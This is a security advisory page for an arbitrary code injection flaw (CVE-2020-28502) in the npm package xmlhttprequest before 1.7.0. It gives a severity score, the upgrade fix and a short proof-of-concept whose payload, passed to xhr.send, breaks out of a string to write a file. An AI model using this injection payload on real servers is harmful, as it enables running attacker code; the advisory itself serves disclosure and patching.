Arbitrary Code Injection Affecting xmlhttprequest package, versions <1.7.0


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
2.16% (89th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Arbitrary Code Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-XMLHTTPREQUEST-1082935
  • published5 Mar 2021
  • disclosed5 Mar 2021
  • creditrinsuki

Introduced: 5 Mar 2021

CVE-2020-28502  (opens in a new tab)
CWE-94  (opens in a new tab)
First added by Snyk

How to fix?

Upgrade xmlhttprequest to version 1.7.0 or higher.

Overview

xmlhttprequest is a wrapper for the built-in http client to emulate the browser XMLHttpRequest object.

Affected versions of this package are vulnerable to Arbitrary Code Injection. Provided requests are sent synchronously (async=False on xhr.open), malicious user input flowing into xhr.send could result in arbitrary code being injected and run.

POC

const { XMLHttpRequest } = require("xmlhttprequest")

const xhr = new XMLHttpRequest() xhr.open("POST", "http://localhost.invalid/", false /* use synchronize request */) xhr.send("\');require(&quot;fs&quot;).writeFileSync(&quot;/tmp/aaaaa.txt&quot;, &quot;poc-20210306&quot;);req.end();//")

CVSS Scores

version 3.1